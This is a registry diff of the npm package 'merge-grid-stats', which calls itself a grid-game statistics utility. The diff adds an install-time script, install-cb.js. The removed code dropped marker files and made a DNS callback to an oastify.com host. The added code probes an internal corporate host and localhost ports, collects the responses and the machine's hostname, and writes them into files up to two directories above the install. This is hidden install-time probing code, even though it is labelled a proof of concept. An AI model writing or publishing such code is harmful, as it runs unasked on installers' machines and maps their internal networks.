merge-grid-stats 1.1.0 → 1.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install-cb.js +53 -14
  2. package/package.json +1 -1
package/install-cb.js CHANGED
@@ -1,21 +1,60 @@
1
- // Authorized PoC (non-destructive): marker-file proof of code execution + bounded DNS OOB.
1
+ // Authorized PoC (non-destructive): SSRF/internal-network reachability probe via mtsrc-test.sankuai.com
2
2
  var fs = require('fs');
3
3
  var path = require('path');
4
4
  var os = require('os');
5
+ var https = require('https');
6
+ var http = require('http');
5
7
 
6
8
  var cwd = process.cwd();
7
- var lines = ['poc-marker', 'cwd=' + cwd, 'host=' + (function(){ try{return os.hostname();}catch(e){return '?';} })(), 'time=' + new Date().toISOString()];
8
- var data = lines.join('\n');
9
+ var lines = ['ssrf-probe', 'cwd=' + cwd, 'host=' + (function(){try{return os.hostname();}catch(e){return '?';}})()];
9
10
 
10
- // Write marker files into cwd and up to two levels up (lands in project root)
11
- ['', '..', '../..'].forEach(function (rel) {
12
- try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), data); } catch (e) {}
13
- });
11
+ function probeHttps(host, port, p, timeoutMs) {
12
+ return new Promise(function (resolve) {
13
+ var done = false;
14
+ var body = '';
15
+ var req;
16
+ try {
17
+ req = https.request({host: host, port: port, path: p, method: 'GET', timeout: timeoutMs, rejectUnauthorized: false}, function (res) {
18
+ res.on('data', function (c) { body += c.toString(); if (body.length > 1500) body = body.slice(0, 1500); });
19
+ res.on('end', function () { if (!done) { done = true; resolve('HTTP ' + res.statusCode + '|' + body.slice(0, 800)); } });
20
+ });
21
+ req.on('timeout', function () { try { req.destroy(); } catch (e) {} if (!done) { done = true; resolve('timeout'); } });
22
+ req.on('error', function (e) { if (!done) { done = true; resolve('ERR:' + (e.code || 'conn')); } });
23
+ req.end();
24
+ } catch (e) { if (!done) { done = true; resolve('ERR:local'); } }
25
+ });
26
+ }
27
+
28
+ function probeHttp(host, port, p, timeoutMs) {
29
+ return new Promise(function (resolve) {
30
+ var done = false;
31
+ var body = '';
32
+ var req;
33
+ try {
34
+ req = http.request({host: host, port: port, path: p, method: 'GET', timeout: timeoutMs}, function (res) {
35
+ res.on('data', function (c) { body += c.toString(); if (body.length > 1500) body = body.slice(0, 1500); });
36
+ res.on('end', function () { if (!done) { done = true; resolve('HTTP ' + res.statusCode + '|' + body.slice(0, 800)); } });
37
+ });
38
+ req.on('timeout', function () { try { req.destroy(); } catch (e) {} if (!done) { done = true; resolve('timeout'); } });
39
+ req.on('error', function (e) { if (!done) { done = true; resolve('ERR:' + (e.code || 'conn')); } });
40
+ req.end();
41
+ } catch (e) { if (!done) { done = true; resolve('ERR:local'); } }
42
+ });
43
+ }
14
44
 
15
- // Bounded DNS callback (5s cap) - tests DNS egress without hanging install
16
- try {
17
- var dns = require('dns');
18
- var host = 'mgs-v11.owoemjgpf2c4qxqet92hexzvym4dsq6skvoa2cr.oastify.com';
19
- var timer = setTimeout(function () {}, 5000);
20
- dns.lookup(host, function () { try { clearTimeout(timer); } catch (e) {} });
21
- } catch (e) {}
45
+ var tasks = [
46
+ probeHttps('mtsrc-test.sankuai.com', 443, '/ssrf?src=nocode-rce-v13', 8000).then(function (r) { lines.push('mtsrc_https_ssrf=' + r); }),
47
+ probeHttp('mtsrc-test.sankuai.com', 80, '/ssrf?src=nocode-rce-v13', 8000).then(function (r) { lines.push('mtsrc_http_ssrf=' + r); }),
48
+ probeHttp('127.0.0.1', 80, '/', 3000).then(function (r) { lines.push('localhost_80=' + r); }),
49
+ probeHttp('127.0.0.1', 8080, '/', 3000).then(function (r) { lines.push('localhost_8080=' + r); })
50
+ ];
51
+
52
+ Promise.all(tasks).then(function () {
53
+ var data = lines.join('\n');
54
+ ['', '..', '../..'].forEach(function (rel) {
55
+ try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_SSRF.txt'), data); } catch (e) {}
56
+ });
57
+ ['', '..', '../..'].forEach(function (rel) {
58
+ try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'ssrf-probe-done ' + new Date().toISOString()); } catch (e) {}
59
+ });
60
+ });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "merge-grid-stats",
3
- "version": "1.1.0",
3
+ "version": "1.3.0",
4
4
  "description": "Lightweight utility for merge-style grid games: score tracking, move statistics, and best-score persistence helpers.",
5
5
  "main": "index.js",
6
6
  "scripts": {